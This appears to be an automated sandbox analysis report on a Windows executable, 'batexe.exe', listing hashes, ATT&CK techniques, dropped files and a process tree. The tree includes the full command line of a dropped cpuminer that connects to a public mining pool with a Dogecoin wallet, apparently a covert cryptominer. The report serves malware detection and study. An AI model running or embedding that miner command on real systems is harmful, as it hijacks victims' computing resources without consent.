73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20240220-ja
resource tags

arch:x64arch:x86image:win10v2004-20240220-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
21/02/2024, 02:56

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4023562663-3911442808-1494947993-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4023562663-3911442808-1494947993-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
1588	b2e.exe
4400	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4400	cpuminer-sse2.exe
4400	cpuminer-sse2.exe
4400	cpuminer-sse2.exe
4400	cpuminer-sse2.exe
4400	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4964-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4964 wrote to memory of 1588	4964	batexe.exe	83
PID 4964 wrote to memory of 1588	4964	batexe.exe	83
PID 4964 wrote to memory of 1588	4964	batexe.exe	83
PID 1588 wrote to memory of 724	1588	b2e.exe	85
PID 1588 wrote to memory of 724	1588	b2e.exe	85
PID 1588 wrote to memory of 724	1588	b2e.exe	85
PID 724 wrote to memory of 4400	724	cmd.exe	88
PID 724 wrote to memory of 4400	724	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4964
- C:\Users\Admin\AppData\Local\Temp\4FB6.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\4FB6.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\4FB6.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1588
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\52A4.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:724
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\4FB6.tmp\b2e.exe

Filesize
22.6MB

MD5
df26b2704690f25dc163bcbdbefefe80

SHA1
c0a17a94221406eb20dc028e36bd7f1ad2c39dbd

SHA256
c5a1e6a67869c1dff75ee7550d3b102937a8860c79edda71d94b5dc36f390573

SHA512
e06628c3bb6a270982a682141b8d3f3f34d6aaeaad65432c02dc2636a682b7c1fe20269941fa3a0a86f535e7b80818362c602ce9dc991fab97ac211dcc15c9c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\4FB6.tmp\b2e.exe

Filesize
10.6MB

MD5
b6bc04476108bbe19d10d1b784822665

SHA1
b923999afb749d0997c731b7add1a2d4a0a0ad16

SHA256
4176c9ac261d00d612f35d57e64e2bdbe0ec90375553443b6539c7087de73fac

SHA512
608684563e1bf659161633a38143bf9404c6ae247b3e4272a9c71f3a1dae9a69cbab1951d54d222350f63da005792cf69b0aee36fd5d1c8bcf200217491aa201

Download Submit
C:\Users\Admin\AppData\Local\Temp\4FB6.tmp\b2e.exe

Filesize
11.1MB

MD5
e9a2010a5213f995578650b79b7837bd

SHA1
229ff85fc13fa2fa422e10509bb0453234f21ab0

SHA256
7993cba8ee0a6155ac72194cbacfce34fb16b7c04c8bf1bb54abf75f6fae5fc1

SHA512
b29d967b7a6acbf0720c2650a6ddd51ff1fedff1df98b1ab9122c0b9e48535d9be5eaeffb344e617c478cfccc47a2250534af4d97ec653096b188529f094079a

Download Submit
C:\Users\Admin\AppData\Local\Temp\52A4.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.4MB

MD5
dbefe05d4f1077997e9b3986d16468cd

SHA1
6a4539202a5cc50450139045a465ec383ecc784f

SHA256
024f4bb4cf5a27bbc9bb527c496a162763eefd0ad511f4344449ec4ad00e367e

SHA512
d1a8b9a6b30611501dd0ee95fec23619d214521ba6b24bc887bfaa71d9291f2048ccfcba440aed74a5e8e60e1076f07ae73a17010ee0f4e7a287cdd17fcf7e1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.0MB

MD5
9c21d67c52380b564fd0338f1901fa0d

SHA1
ef4590199c02e929d5ef72a30638b8bf7dd17942

SHA256
8a7f00c82179730eb9e9f74c405389a3d626cdbf2b42a9f76dde3c2a6c15a7db

SHA512
f0be946ce190b8ba2a990500d8fba94fa60a1ac542e77f4da0bde17fe3d4bf81ed70c3b20870072bb64c417d212b3fd516396b613d830c71bae8d272952f9906

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.7MB

MD5
0a3f07b50e7f20838f25d9b5a094194f

SHA1
0b451571bc01f21802d2274ff10d6fc39a087a7d

SHA256
5862dec937571372b81552aa73b178ca947252afd130d072dae3a7daca76c21c

SHA512
5e9bd1165b96bb5910ccdb7aa02942ac8f73cd388ac510cd1f933c276fd482dbdb82fc22b1d2b779b0751f82f2e2581925fdb58ce4cff26114d119b4b16c6810

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1588-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1588-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4400-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4400-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4400-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4400-46-0x000000006E7E0000-0x000000006E878000-memory.dmp

Filesize
608KB

Download
memory/4400-47-0x0000000000E90000-0x0000000002745000-memory.dmp

Filesize
24.7MB

Download
memory/4400-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4400-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4400-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4400-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4400-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4400-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4400-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4400-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4400-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4400-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4964-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download